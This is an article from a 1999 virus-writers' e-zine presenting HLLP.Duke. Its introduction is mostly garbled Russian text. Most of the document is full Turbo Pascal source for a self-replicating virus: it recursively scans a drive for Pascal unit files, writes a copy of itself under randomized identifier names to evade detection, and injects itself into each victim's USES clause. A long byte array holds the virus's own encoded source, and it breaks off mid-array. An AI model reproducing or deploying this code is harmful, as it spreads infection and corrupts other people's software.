- [Duke's Virus Labs #5] - [Page 09] -

HLLP.Duke
(c) by Duke/SMF

     : HLLP.Duke
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 20.03.99

   ﭭ ⥫ DVL 㦥 猪 ⨫,   嫥  ନ -
   ᪠.    ०  ᢮ ९ ;))
    DVL #4  㡫  HLLS.ZYX - ᨬ  ᪠.   ୠ
Moon Bug #9 RedArc 㡫 饣  HLLW.FMRA, ᪠饣 
ᮡ 室  ⢫饣 ࠧ⨧ ( 筥 , ᨬ)
 Pascal-室.  䨪樨 DrWeb'    
HLLP.Dikshew.50592 . ᯥ᪨  㪨   ᤥ  
 宩  - ᤥ ,   ⨫ ⮣ ,    
த.    ᨫ AVP । ᠬ  ⨯... ⥬!
   쭮 諮 ࠢ   ⢮७.   
樮묨, ᪮ 蠭 릨   த   ࠩ .
   ᪠,   HLLW.FMRA   蠭ᮢ :(( ⨢஢ 
 :  ᪠ ~40Kb ⠭-室 + ~10Kb  ⠭,
६  . 楯  室  ࠤ   
 ᮢ. .. ⥫쭮 ᫮ ࠦ 䠩  ⠭
஢.
    祬  ⠪ 让?  稭 ࠡ⮪  ஭ RedArc'...
 祬  뫮 ᯮ짮 String[150]???  ⭥ 㤥 ᨢ
 ᨬ  .
    ୨஢ 室  HLLP.Dikshew.50592  ᮧ 
 HLLP.Duke ( , ᫨ ਤন Web'᪮ 䨪樨 ;)
   室  ஢ ᮧ⥫쭮:  墠⠫ ⮫쪮   ᮡ
  ਨ ᪠,    ⠪ 졠   ࠧ. ⮬ ᪠
᪮쪮 ᫮   .
    ࠫ    ६,  ਢ ⥪   ,
    ⨬. , ⭮ 䨪ᨫ   ,
ᯮ  ஡ ᮧ  ;) ,     
⨬஢ (ࠧ ᮪⨫  50Kb  16Kb ! ). ᫨  ࠡ 
㤥,   ᥡ  ⢥⢥ ᭨:  ᠫ ⮫쪮  
樥 樨  ࠧ,     㡨 ⢮᪮ ᫨
RedArc' :))
   ⠫ ᪮쪮 ᮢ  RedArc' : 祬  뫮 ਬ CRT,
⠢  ப  ᯮ짮 String[150] ? ᫨    讣
ࠧ,   ᪠  ᮡ logo.sys ;))   砥, ᯠᨡ
RedArc'   .  室 ⥪ ਫ.

   ਡ㤠  ᮧ 䠩 fmra_inc.inc:

===== begin setup.pas =====
program Setup_for__HLLP_Duke;
var t1:text;
    Duke_File:file of char;
    z:byte;
    ch:char;
begin
Assign(t1,'fmra_inc.inc');
{$I-}ReWrite(t1);{$I+}
if IOResult<>0 then Exit;
WriteLn(t1,'CONST');
assign(Duke_File,'fmra_beg.pas');reset(Duke_File);
writeln(t1,'Duke_Max=',filesize(Duke_File),';');
writeln(t1,'Duke_Mas:array[1..Duke_Max] of byte =');
z:=0;
write(t1,'(');
while not eof(Duke_File) do
  begin
  read(Duke_File,ch);
  write(t1,ord(ch));
  if not eof(Duke_File) then write(t1,',');
  z:=z+1;
  if z=20 then begin writeln(t1,'');z:=0;end;
  end;
write(t1,');');
Close(t1);
end.
===== end   setup.pas =====


     ᠬ 客  :

===== begin fmra_beg.pas =====
UNIT FMRA_BEG;
INTERFACE
USES DOS;
{$IFNDEF D+}
CONST Hello='HLLP.Duke (c) by Duke/SMF';
{$ENDIF D+}
TYPE
  FMRA_PList = ^FMRA_TList;
  FMRA_TList = record
    Name : String[12];
    Next : FMRA_Plist;
    end;
CONST
     Exchange : Array [1..10] of String [15] =
     ('FMRA_',
      'Manager',
      'ChDrive',
      'UpStr',
      'RandomName',
      'InfectFile',
      'DetectUnitFile',
      'ScanDir',
      'Exchange',
      'RandomSelect');
{$I FMRA_INC.inc}
VAR
   FMRA_SR : SearchRec;
   FMRA_S : String;
   Exchange1 : Array [1..10] of String [15];
   Duke_Tek : integer;

PROCEDURE FMRA_Manager;

IMPLEMENTATION

PROCEDURE FMRA_ChDrive (Drive : Byte);Assembler;
asm
MOV AH, 0Eh
MOV DL, Drive;
INT 21h
END;

FUNCTION FMRA_UpStr (S : String) : String;
VAR
   S1 : String;
   i : Integer;
BEGIN
S1:=S;
for i:=1 to Length(S1) do S1[i]:=UpCase(S1[i]);
FMRA_UpStr:=S1;
END;

FUNCTION FMRA_RandomName(Range:Byte):String;
VAR
   S : String;
   I, J, K : Byte;
   t : Text;
BEGIN
repeat
  S:='';
  K:=1+Random(Range);
  if K<7 then K:=7;
  for J:=1 to K do
    begin
    I:=65+Random(26);
    S:=S+Chr(I);
    end;
  Assign(t,S+'.pas');
  {$I-}ReSet(t);{$I+}
  if IOResult<>0 then break;
  Close (t);
until False;
FMRA_RandomName:=S;
END;

PROCEDURE FMRA_RandomSelect;
VAR
   I, J : Byte;
   Flag : Boolean;
BEGIN
Exchange1[1]:=FMRA_RandomName(5);
for I:=2 to 10 do Exchange1[I]:=FMRA_RandomName(14)+'_';
repeat
  Flag:=True;
  for J:=1 to 9 do
    for I:=J+1 to 10 do
    if Exchange1[J]=Exchange1[I] then
      begin
      Exchange1[I]:=FMRA_RandomName(14)+'_';
      Flag:=False;
      end;
until Flag;
END;

PROCEDURE FMRA_Rename (var t, t1 : Text; S1 : String);
VAR
   S : String;
   I, J : Byte;
BEGIN
ReSet(t);
ReWrite(t1);
While not Eof(t) do
  begin
  ReadLn(t,S);
  for I:=1 to 10 do
    while Pos(Exchange[I],S)>0 do
      begin
      J:=Pos(Exchange[I],S);
      Delete(S,J,Length(Exchange[I]));
      Insert(Exchange1[I],S,J);
      end;
  WriteLn(t1,S);
  end;
Close(t1);
Close(t);
Erase(t);
Rename(t1,S1);
END;

function Duke_TakeString : string;
var s:string;
begin
s:='';
while Duke_Mas[Duke_Tek]<>10 do
  begin
  s:=s+chr(Duke_Mas[Duke_Tek]);
  Duke_Tek:=Duke_Tek+1;
  end;
s:=copy(s,1,length(s)-2);
Duke_TakeString:=s;
end;

procedure FMRA_InfectFile (S : String);
var
    t1,t2 : Text;
    S1 : String;
    I, J : Integer;
    S2 : String [8];
    Duke_St:string;
    Duke_File:file of char;
    ch:char;
    z:byte;
begin
S2:=FMRA_RandomName(8);
Duke_St:=S2+'.pas';
Assign(t1,Duke_St);
{$I-}ReWrite(t1);{$I+}
if IOResult<>0 then Exit;
Duke_Tek:=1;
while Duke_Tek<>Duke_Max do
  begin
  S1:=Duke_TakeString;
  if Pos('{$I ',S1)=1 then S1:='{$I '+S2+'.inc}';
  if Pos('UNIT',S1)=1 then S1:='UNIT '+S2+ ';';
  WriteLn(t1,S1);
  end;
Close(t1);
Assign(t2,FMRA_RandomName(8)+'.pas');
FMRA_RandomSelect;
FMRA_Rename(t1,t2,Duke_St);
Assign(t1,S2+'.inc');
ReWrite(t1);
if IOResult<>0 then Exit;
WriteLn(t1,'CONST');
assign(Duke_File,Duke_St);reset(Duke_File);
writeln(t1,'Duke_Max=',filesize(Duke_File),';');
writeln(t1,'Duke_Mas:array[1..Duke_Max] of byte =');
z:=0;
write(t1,'(');
while not eof(Duke_File) do
  begin
  read(Duke_File,ch);
  write(t1,ord(ch));
  if not eof(Duke_File) then write(t1,',');
  z:=z+1;
  if z=20 then begin writeln(t1,'');z:=0;end;
  end;
write(t1,');');
Close(t1);
Assign(t2,FMRA_RandomName(8)+'.inc');
FMRA_Rename(t1,t2,S2+'.inc');
Assign(t1,S);
ReSet(t1);
if IOResult<>0 then Exit;
Assign(t2,'Scheriff.pas');
ReWrite(t2);
while not Eof(t1) do
  begin
  ReadLn(t1,S1);
  if Pos ('USES ',FMRA_UpStr(S1))>0 then
    Insert('{$IFNDEF D+} '+S2+', {$ENDIF D+} ',S1,Pos('USES ',FMRA_UpStr(S1))+5);
  WriteLn(t2,S1);
  end;
Close(t2);
Close(t1);
Erase(t1);
Rename(t2,S);
end;

procedure FMRA_DetectUnitFile (S : String);
var
    t    : Text;
    Flag : Boolean;
    S1   : String;
begin
Assign(t,S);{$I-}ReSet(t);{$I+}
if IOResult<>0 then Exit;
Flag:=False;
while not Eof(t) do
  begin
  ReadLn(t,S1);
  if Pos('{$IFNDEF',S1)>0 then
    begin
    Flag:=False;
    Break;
    end;
  if FMRA_UpStr(S1)='IMPLEMENTATION' then Flag:=True;
  end;
Close(t);
if Flag then FMRA_InfectFile(S);
end;

procedure FMRA_ScanDir(stdir:PathStr);
var
    n,L : FMRA_PList;
    m : PathStr;
    St : string[79];
    ch : char;
    DIR : DirStr;
    NAM : NameStr;
    EXT : EXTSTR;
begin
FileMode:=0;
L:=nil;
if stdir[Length(stdir)]<>'\' then stdir:=stdir+'\';
m:=stdir+'*.*';
FindFirst(m,AnyFile,FMRA_SR);
while dosError=0 do
  begin
  if ((FMRA_SR.Attr and Directory)<>0) and (FMRA_SR.Name[1]<>'.') then
    begin
    New(n);
    N^.Next:=L;
    N^.Name:=FMRA_SR.Name;
    L:=N;
    end
  else
  if (FMRA_SR.Attr and VolumeID=0) and (FMRA_SR.Attr and Directory=0) then
    begin
    FMRA_S:=m;
    Delete(FMRA_S,Length(m)-2,3);
    FMRA_S:=FMRA_S+FMRA_SR.Name;
    FSPLIT(FMRA_S,DIR,NAM,EXT);
    IF (EXT='.PAS') and (FMRA_SR.Attr and Hidden=0) THEN
      FMRA_DetectUnitFile(FMRA_S);
    end;
  FindNext(FMRA_SR);
  end;
while L<>nil do
  begin
  m:=Stdir+L^.Name;
  ChDir(m);
  if IOResult<>0 then Exit;
  n:=L;
  L:=L^.next;
  Dispose(n);
  m:=m+'\';
  if IOResult=0 then FMRA_ScanDir(m);
  m:=stdir;
  if m[length(m)-1]<>':' then m[0]:=chr(length(stdir)-1);
  ChDir(m);
  end;
end;

PROCEDURE FMRA_Manager;
VAR
    Home : PathStr;
    S    : String;
BEGIN
Randomize;
GetDir(0, Home);
if Home[Length(Home)]='\' then Delete(Home,Length(Home),1);
S:=Home[1]+':';
FMRA_ChDrive(ORD(UpCase(S[1]))-65);
FMRA_ScanDir(S);
FMRA_ChDrive(ORD(UpCase(Home[1]))-65);
ChDir(Home);
END;

BEGIN
FMRA_Manager;
END.
===== end   fmra_beg.pas =====

===== begin fmra_inc.inc =====
CONST
Duke_Max=5817;
Duke_Mas:array[1..Duke_Max] of byte =
(85,78,73,84,32,70,77,82,65,95,66,69,71,59,13,10,73,78,84,69,
82,70,65,67,69,13,10,85,83,69,83,32,68,79,83,59,13,10,123,36,
73,70,78,68,69,70,32,68,43,125,13,10,67,79,78,83,84,32,72,101,
108,108,111,61,39,72,76,76,80,46,68,117,107,101,32,40,99,41,32,98,
121,32,68,117,107,101,47,83,77,70,39,59,13,10,123,36,69,78,68,73,
70,32,68,43,125,13,10,84,89,80,69,13,10,32,32,70,77,82,65,95,
80,76,105,115,116,32,61,32,94,70,77,82,65,95,84,76,105,115,116,59,
13,10,32,32,70,77,82,65,95,84,76,105,115,116,32,61,32,114,101,99,
111,114,100,13,10,32,32,32,32,78,97,109,101,32,58,32,83,116,114,105,
110,103,91,49,50,93,59,13,10,32,32,32,32,78,101,120,116,32,58,32,
70,77,82,65,95,80,108,105,115,116,59,13,10,32,32,32,32,101,110,100,
59,13,10,67,79,78,83,84,13,10,32,32,32,32,32,69,120,99,104,97,
110,103,101,32,58,32,65,114,114,97,121,32,91,49,46,46,49,48,93,32,
111,102,32,83,116,114,105,110,103,32,91,49,53,93,32,61,13,10,32,32,
32,32,32,40,39,70,77,82,65,95,39,44,13,10,32,32,32,32,32,32,
39,77,97,110,97,103,101,114,39,44,13,10,32,32,32,32,32,32,39,67,
104,68,114,105,118,101,39,44,13,10,32,32,32,32,32,32,39,85,112,83,
116,114,39,44,13,10,32,32,32,32,32,32,39,82,97,110,100,111,109,78,
97,109,101,39,44,13,10,32,32,32,32,32,32,39,73,110,102,101,99,116,
70,105,108,101,39,44,13,10,32,32,32,32,32,32,39,68,101,116,101,99,
116,85,110,105,116,70,105,108,101,39,44,13,10,32,32,32,32,32,32,39,
83,99,97,110,68,105,114,39,44,13,10,32,32,32,32,32,32,39,69,120,
99,104,97,110,103,101,39,44,13,10,32,32,32,32,32,32,39,82,97,110,
100,111,109,83,101,108,101,99,116,39,41,59,13,10,123,36,73,32,70,77,
82,65,95,73,78,67,46,105,110,99,125,13,10,86,65,82,13,10,32,32,
32,70,77,82,65,95,83,82,32,58,32,83,101,97,114,99,104,82,101,99,
59,13,10,32,32,32,70,77,82,65,95,83,32,58,32,83,116,114,105,110,
103,59,13,10,32,32,32,69,120,99,104,97,110,103,101,49,32,58,32,65,
114,114,97,121,32,91,49,46,46,49,48,93,32,111,102,32,83,116,114,105,
110,103,32,91,49,53,93,59,13,10,32,32,32,68,117,107,101,95,84,101,
107,32,58,32,105,110,116,101,103,101,114,59,13,10,13,10,80,82,79,67,
69,68,85,82,69,32,70,77,82,65,95,77,97,110,97,103,101,114,59,13,
10,13,10,73,77,80,76,69,77,69,78,84,65,84,73,79,78,13,10,13,
10,80,82,79,67,69,68,85,82,69,32,70,77,82,65,95,67,104,68,114,
105,118,101,32,40,68,114,105,118,101,32,58,32,66,121,116,101,41,59,65,
115,115,101,109,98,108,101,114,59,13,10,97,115,109,13,10,77,79,86,32,
65,72,44,32,48,69,104,13,10,77,79,86,32,68,76,44,32,68,114,105,
118,101,59,13,10,73,78,84,32,50,49,104,13,10,69,78,68,59,13,10,
13,10,70,85,78,67,84,73,79,78,32,70,77,82,65,95,85,112,83,116,
114,32,40,83,32,58,32,83,116,114,105,110,103,41,32,58,32,83,116,114,
105,110,103,59,13,10,86,65,82,13,10,32,32,32,83,49,32,58,32,83,
116,114,105,110,103,59,13,10,32,32,32,105,32,58,32,73,110,116,101,103,
101,114,59,13,10,66,69,71,73,78,13,10,83,49,58,61,83,59,13,10,
102,111,114,32,105,58,61,49,32,116,111,32,76,101,110,103,116,104,40,83,
49,41,32,100,111,32,83,49,91,105,93,58,61,85,112,67,97,115,101,40,
83,49,91,105,93,41,59,13,10,70,77,82,65,95,85,112,83,116,114,58,
61,83,49,59,13,10,69,78,68,59,13,10,13,10,70,85,78,67,84,73,
79,78,32,70,77,82,65,95,82,97,110,100,111,109,78,97,109,101,40,82,
97,110,103,101,58,66,121,116,101,41,58,83,116,114,105,110,103,59,13,10,
86,65,82,13,10,32,32,32,83,32,58,32,83,116,114,105,110,103,59,13,
10,32,32,32,73,44,32,74,44,32,75,32,58,32,66,121,116,101,59,13,
10,32,32,32,116,32,58,32,84,101,120,116,59,13,10,66,69,71,73,78,
13,10,114,101,112,101,97,116,13,10,32,32,83,58,61,39,39,59,13,10,
32,32,75,58,61,49,43,82,97,110,100,111,109,40,82,97,110,103,101,41,
59,13,10,32,32,105,102,32,75,60,55,32,116,104,101,110,32,75,58,61,
55,59,13,10,32,32,102,111,114,32,74,58,61,49,32,116,111,32,75,32,
100,111,13,10,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,73,
58,61,54,53,43,82,97,110,100,111,109,40,50,54,41,59,13,10,32,32,
32,32,83,58,61,83,43,67,104,114,40,73,41,59,13,10,32,32,32,32,
101,110,100,59,13,10,32,32,65,115,115,105,103,110,40,116,44,83,43,39,
46,112,97,115,39,41,59,13,10,32,32,123,36,73,45,125,82,101,83,101,
116,40,116,41,59,123,36,73,43,125,13,10,32,32,105,102,32,73,79,82,
101,115,117,108,116,60,62,48,32,116,104,101,110,32,98,114,101,97,107,59,
13,10,32,32,67,108,111,115,101,32,40,116,41,59,13,10,117,110,116,105,
108,32,70,97,108,115,101,59,13,10,70,77,82,65,95,82,97,110,100,111,
109,78,97,109,101,58,61,83,59,13,10,69,78,68,59,13,10,13,10,80,
82,79,67,69,68,85,82,69,32,70,77,82,65,95,82,97,110,100,111,109,
83,101,108,101,99,116,59,13,10,86,65,82,13,10,32,32,32,73,44,32,
74,32,58,32,66,121,116,101,59,13,10,32,32,32,70,108,97,103,32,58,
32,66,111,111,108,101,97,110,59,13,10,66,69,71,73,78,13,10,69,120,
99,104,97,110,103,101,49,91,49,93,58,61,70,77,82,65,95,82,97,110,
100,111,109,78,97,109,101,40,53,41,59,13,10,102,111,114,32,73,58,61,
50,32,116,111,32,49,48,32,100,111,32,69,120,99,104,97,110,103,101,49,
91,73,93,58,61,70,77,82,65,95,82,97,110,100,111,109,78,97,109,101,
40,49,52,41,43,39,95,39,59,13,10,114,101,112,101,97,116,13,10,32,
32,70,108,97,103,58,61,84,114,117,101,59,13,10,32,32,102,111,114,32,
74,58,61,49,32,116,111,32,57,32,100,111,13,10,32,32,32,32,102,111,
114,32,73,58,61,74,43,49,32,116,111,32,49,48,32,100,111,13,10,32,
32,32,32,105,102,32,69,120,99,104,97,110,103,101,49,91,74,93,61,69,
120,99,104,97,110,103,101,49,91,73,93,32,116,104,101,110,13,10,32,32,
32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32,32,69,120,99,
104,97,110,103,101,49,91,73,93,58,61,70,77,82,65,95,82,97,110,100,
111,109,78,97,109,101,40,49,52,41,43,39,95,39,59,13,10,32,32,32,
32,32,32,70,108,97,103,58,61,70,97,108,115,101,59,13,10,32,32,32,
32,32,32,101,110,100,59,13,10,117,110,116,105,108,32,70,108,97,103,59,
13,10,69,78,68,59,13,10,13,10,80,82,79,67,69,68,85,82,69,32,
70,77,82,65,95,82,101,110,97,109,101,32,40,118,97,114,32,116,44,32,
116,49,32,58,32,84,101,120,116,59,32,83,49,32,58,32,83,116,114,105,
110,103,41,59,13,10,86,65,82,13,10,32,32,32,83,32,58,32,83,116,
114,105,110,103,59,13,10,32,32,32,73,44,32,74,32,58,32,66,121,116,
101,59,13,10,66,69,71,73,78,13,10,82,101,83,101,116,40,116,41,59,
13,10,82,101,87,114,105,116,101,40,116,49,41,59,13,10,87,104,105,108,
101,32,110,111,116,32,69,111,102,40,116,41,32,100,111,13,10,32,32,98,
101,103,105,110,13,10,32,32,82,101,97,100,76,110,40,116,44,83,41,59,
13,10,32,32,102,111,114,32,73,58,61,49,32,116,111,32,49,48,32,100,
111,13,10,32,32,32,32,119,104,105,108,101,32,80,111,115,40,69,120,99,
104,97,110,103,101,91,73,93,44,83,41,62,48,32,100,111,13,10,32,32,
32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32,32,74,58,61,
80,111,115,40,69,120,99,104,97,110,103,101,91,73,93,44,83,41,59,13,
10,32,32,32,32,32,32,68,101,108,101,116,101,40,83,44,74,44,76,101,
110,103,116,104,40,69,120,99,104,97,110,103,101,91,73,93,41,41,59,13,
10,32,32,32,32,32,32,73,110,115,101,114,116,40,69,120,99,104,97,110,
103,101,49,91,73,93,44,83,44,74,41,59,13,10,32,32,32,32,32,32,
101,110,100,59,13,10,32,32,87,114,105,116,101,76,110,40,116,49,44,83,
41,59,13,10,32,32,101,110,100,59,13,10,67,108,111,115,101,40,116,49,
41,59,13,10,67,108,111,115,101,40,116,41,59,13,10,69,114,97,115,101,
40,116,41,59,13,10,82,101,110,97,109,101,40,116,49,44,83,49,41,59,
13,10,69,78,68,59,13,10,13,10,102,117,110,99,116,105,111,110,32,68,
117,107,101,95,84,97,107,101,83,116,114,105,110,103,32,58,32,115,116,114,
105,110,103,59,13,10,118,97,114,32,115,58,115,116,114,105,110,103,59,13,
10,98,101,103,105,110,13,10,115,58,61,39,39,59,13,10,119,104,105,108,
101,32,68,117,107,101,95,77,97,115,91,68,117,107,101,95,84,101,107,93,
60,62,49,48,32,100,111,13,10,32,32,98,101,103,105,110,13,10,32,32,
115,58,61,115,43,99,104,114,40,68,117,107,101,95,77,97,115,91,68,117,
107,101,95,84,101,107,93,41,59,13,10,32,32,68,117,107,101,95,84,101,
107,58,61,68,117,107,101,95,84,101,107,43,49,59,13,10,32,32,101,110,
100,59,13,10,115,58,61,99,111,112,121,40,115,44,49,44,108,101,110,103,
116,104,40,115,41,45,50,41,59,13,10,68,117,107,101,95,84,97,107,101,
83,116,114,105,110,103,58,61,115,59,13,10,101,110,100,59,13,10,13,10,
112,114,111,99,101,100,117,114,101,32,70,77,82,65,95,73,110,102,101,99,
116,70,105,108,101,32,40,83,32,58,32,83,116,114,105,110,103,41,59,13,
10,118,97,114,13,10,32,32,32,32,116,49,44,116,50,32,58,32,84,101,
120,116,59,13,10,32,32,32,32,83,49,32,58,32,83,116,114,105,110,103,
59,13,10,32,32,32,32,73,44,32,74,32,58,32,73,110,116,101,103,101,
114,59,13,10,32,32,32,32,83,50,32,58,32,83,116,114,105,110,103,32,
91,56,93,59,13,10,32,32,32,32,68,117,107,101,95,83,116,58,115,116,
114,105,110,103,59,13,10,32,32,32,32,68,117,107,101,95,70,105,108,101,
58,102,105,108,101,32,111,102,32,99,104,97,114,59,13,10,32,32,32,32,
99,104,58,99,104,97,114,59,13,10,32,32,32,32,122,58,98,121,116,101,
59,13,10,98,101,103,105,110,13,10,83,50,58,61,70,77,82,65,95,82,
97,110,100,111,109,78,97,109,101,40,56,41,59,13,10,68,117,107,101,95,
83,116,58,61,83,50,43,39,46,112,97,115,39,59,13,10,65,115,115,105,
103,110,40,116,49,44,68,117,107,101,95,83,116,41,59,13,10,123,36,73,
45,125,82,101,87,114,105,116,101,40,116,49,41,59,123,36,73,43,125,13,
10,105,102,32,73,79,82,101,115,117,108,116,60,62,48,32,116,104,101,110,
32,69,120,105,116,59,13,10,68,117,107,101,95,84,101,107,58,61,49,59,
13,10,119,104,105,108,101,32,68,117,107,101,95,84,101,107,60,62,68,117,
107,101,95,77,97,120,32,100,111,13,10,32,32,98,101,103,105,110,13,10,
32,32,83,49,58,61,68,117,107,101,95,84,97,107,101,83,116,114,105,110,
103,59,13,10,32,32,105,102,32,80,111,115,40,39,123,36,73,32,39,44,
83,49,41,61,49,32,116,104,101,110,32,83,49,58,61,39,123,36,73,32,
39,43,83,50,43,39,46,105,110,99,125,39,59,13,10,32,32,105,102,32,
80,111,115,40,39,85,78,73,84,39,44,83,49,41,61,49,32,116,104,101,
110,32,83,49,58,61,39,85,78,73,84,32,39,43,83,50,43,32,39,59,
39,59,13,10,32,32,87,114,105,116,101,76,110,40,116,49,44,83,49,41,
59,13,10,32,32,101,110,100,59,13,10,67,108,111,115,101,40,116,49,41,
59,13,10,65,115,115,105,103,110,40,116,50,44,70,77,82,65,95,82,97,
110,100,111,109,78,97,109,101,40,56,41,43,39,46,112,97,115,39,41,59,
13,10,70,77,82,65,95,82,97,110,100,111,109,83,101,108,101,99,116,59,
13,10,70,77,82,65,95,82,101,110,97,109,101,40,116,49,44,116,50,44,
68,117,107,101,95,83,116,41,59,13,10,65,115,115,105,103,110,40,116,49,
44,83,50,43,39,46,105,110,99,39,41,59,13,10,82,101,87,114,105,116,
101,40,116,49,41,59,13,10,105,102,32,73,79,82,101,115,117,108,116,60,
62,48,32,116,104,101,110,32,69,120,105,116,59,13,10,87,114,105,116,101,
76,110,40,116,49,44,39,67,79,78,83,84,39,41,59,13,10,97,115,115,
105,103,110,40,68,117,107,101,95,70,105,108,101,44,68,117,107,101,95,83,
116,41,59,114,101,115,101,116,40,68,117,107,101,95,70,105,108,101,41,59,
13,10,119,114,105,116,101,108,110,40,116,49,44,39,68,117,107,101,95,77,
97,120,61,39,44,102,105,108,101,115,105,122,101,40,68,117,107,101,95,70,
105,108,101,41,44,39,59,39,41,59,13,10,119,114,105,116,101,108,110,40,
116,49,44,39,68,117,107,101,95,77,97,115,58,97,114,114,97,121,91,49,
46,46,68,117,107,101,95,77,97,120,93,32,111,102,32,98,121,116,101,32,
61,39,41,59,13,10,122,58,61,48,59,13,10,119,114,105,116,101,40,116,
49,44,39,40,39,41,59,13,10,119,104,105,108,101,32,110,111,116,32,101,
111,102,40,68,117,107,101,95,70,105,108,101,41,32,100,111,13,10,32,32,
98,101,103,105,110,13,10,32,32,114,101,97,100,40,68,117,107,101,95,70,
105,108,101,44,99,104,41,59,13,10,32,32,119,114,105,116,101,40,116,49,
44,111,114,100,40,99,104,41,41,59,13,10,32,32,105,102,32,110,111,116,
32,101,111,102,40,68,117,107,101,95,70,105,108,101,41,32,116,104,101,110,
32,119,114,105,116,101,40,116,49,44,39,44,39,41,59,13,10,32,32,122,
58,61,122,43,49,59,13,10,32,32,105,102,32,122,61,50,48,32,116,104,
101,110,32,98,101,103,105,110,32,119,114,105,116,101,108,110,40,116,49,44,
39,39,41,59,122,58,61,48,59,101,110,100,59,13,10,32,32,101,110,100,
59,13,10,119,114,105,116,101,40,116,49,44,39,41,59,39,41,59,13,10,
67,108,111,115,101,40,116,49,41,59,13,10,65,115,115,105,103,110,40,116,
50,44,70,77,82,65,95,82,97,110,100,111,109,78,97,109,101,40,56,41,
43,39,46,105,110,99,39,41,59,13,10,70,77,82,65,95,82,101,110,97,
109,101,40,116,49,44,116,50,44,83,50,43,39,46,105,110,99,39,41,59,
13,10,65,115,115,105,103,110,40,116,49,44,83,41,59,13,10,82,101,83,
101,116,40,116,49,41,59,13,10,105,102,32,73,79,82,101,115,117,108,116,
60,62,48,32,116,104,101,110,32,69,120,105,116,59,13,10,65,115,115,105,
103,110,40,116,50,44,39,83,99,104,101,114,105,102,102,46,112,97,115,39,
41,59,13,10,82,101,87,114,105,116,101,40,116,50,41,59,13,10,119,104,
105,108,101,32,110,111,116,32,69,111,102,40,116,49,41,32,100,111,13,10,
32,32,98,101,103,105,110,13,10,32,32,82,101,97,100,76,110,40,116,49,
44,83,49,41,59,13,10,32,32,105,102,32,80,111,115,32,40,39,85,83,
69,83,32,39,44,70,77,82,65,95,85,112,83,116,114,40,83,49,41,41,
62,48,32,116,104,101,110,13,10,32,32,32,32,73,110,115,101,114,116,40,
39,123,36,73,70,78,68,69,70,32,68,43,125,32,39,43,83,50,43,39,
44,32,123,36,69,78,68,73,70,32,68,43,125,32,39,44,83,49,44,80,
111,115,40,39,85,83,69,83,32,39,44,70,77,82,65,95,85,112,83,116,
114,40,83,49,41,41,43,53,41,59,13,10,32,32,87,114,105,116,101,76,
110,40,116,50,44,83,49,41,59,13,10,32,32,101,110,100,59,13,10,67,
108,111,115,101,40,116,50,41,59,13,10,67,108,111,115,101,40,116,49,41,
59,13,10,69,114,97,115,101,40,116,49,41,59,13,10,82,101,110,97,109,
101,40,116,50,44,83,41,59,13,10,101,110,100,59,13,10,13,10,112,114,
111,99,101,100,117,114,101,32,70,77,82,65,95,68,101,116,101,99,116,85,
110,105,116,70,105,108,101,32,40,83,32,58,32,83,116,114,105,110,103,41,
59,13,10,118,97,114,13,10,32,32,32,32,116,32,32,32,32,58,32,84,
101,120,116,59,13,10,32,32,32,32,70,108,97,103,32,58,32,66,111,111,
108,101,97,110,59,13,10,32,32,32,32,83,49,32,32,32,58,32,83,116,
114,105,110,103,59,13,10,98,101,103,105,110,13,10,65,115,115,105,103,110,
40,116,44,83,41,59,123,36,73,45,125,82,101,83,101,116,40,116,41,59,
123,36,73,43,125,13,10,105,102,32,73,79,82,101,115,117,108,116,60,62,
48,32,116,104,101,110,32,69,120,105,116,59,13,10,70,108,97,103,58,61,
70,97,108,115,101,59,13,10,119,104,105,108,101,32,110,111,116,32,69,111,
102,40,116,41,32,100,111,13,10,32,32,98,101,103,105,110,13,10,32,32,
82,101,97,100,76,110,40,116,44,83,49,41,59,13,10,32,32,105,102,32,
80,111,115,40,39,123,36,73,70,78,68,69,70,39,44,83,49,41,62,48,
32,116,104,101,110,13,10,32,32,32,32,98,101,103,105,110,13,10,32,32,
32,32,70,108,97,103,58,61,70,97,108,115,101,59,13,10,32,32,32,32,
66,114,101,97,107,59,13,10,32,32,32,32,101,110,100,59,13,10,32,32,
105,102,32,70,77,82,65,95,85,112,83,116,114,40,83,49,41,61,39,73,
77,80,76,69,77,69,78,84,65,84,73,79,78,39,32,116,104,101,110,32,
70,108,97,103,58,61,84,114,117,101,59,13,10,32,32,101,110,100,59,13,
10,67,108,111,115,101,40,116,41,59,13,10,105,102,32,70,108,97,103,32,
116,104,101,110,32,70,77,82,65,95,73,110,102,101,99,116,70,105,108,101,
40,83,41,59,13,10,101,110,100,59,13,10,13,10,112,114,111,99,101,100,
117,114,101,32,70,77,82,65,95,83,99,97,110,68,105,114,40,115,116,100,
105,114,58,80,97,116,104,83,116,114,41,59,13,10,118,97,114,13,10,32,
32,32,32,110,44,76,32,58,32,70,77,82,65,95,80,76,105,115,116,59,
13,10,32,32,32,32,109,32,58,32,80,97,116,104,83,116,114,59,13,10,
32,32,32,32,83,116,32,58,32,115,116,114,105,110,103,91,55,57,93,59,
13,10,32,32,32,32,99,104,32,58,32,99,104,97,114,59,13,10,32,32,
32,32,68,73,82,32,58,32,68,105,114,83,116,114,59,13,10,32,32,32,
32,78,65,77,32,58,32,78,97,109,101,83,116,114,59,13,10,32,32,32,
32,69,88,84,32,58,32,69,88,84,83,84,82,59,13,10,98,101,103,105,
110,13,10,70,105,108,101,77,111,100,101,58,61,48,59,13,10,76,58,61,
110,105,108,59,13,10,105,102,32,115,116,100,105,114,91,76,101,110,103,116,
104,40,115,116,100,105,114,41,93,60,62,39,92,39,32,116,104,101,110,32,
115,116,100,105,114,58,61,115,116,100,105,114,43,39,92,39,59,13,10,109,
58,61,115,116,100,105,114,43,39,42,46,42,39,59,13,10,70,105,110,100,
70,105,114,115,116,40,109,44,65,110,121,70,105,108,101,44,70,77,82,65,
95,83,82,41,59,13,10,119,104,105,108,101,32,100,111,115,69,114,114,111,
114,61,48,32,100,111,13,10,32,32,98,101,103,105,110,13,10,32,32,105,
102,32,40,40,70,77,82,65,95,83,82,46,65,116,116,114,32,97,110,100,
32,68,105,114,101,99,116,111,114,121,41,60,62,48,41,32,97,110,100,32,
40,70,77,82,65,95,83,82,46,78,97,109,101,91,49,93,60,62,39,46,
39,41,32,116,104,101,110,13,10,32,32,32,32,98,101,103,105,110,13,10,
32,32,32,32,78,101,119,40,110,41,59,13,10,32,32,32,32,78,94,46,
78,101,120,116,58,61,76,59,13,10,32,32,32,32,78,94,46,78,97,109,
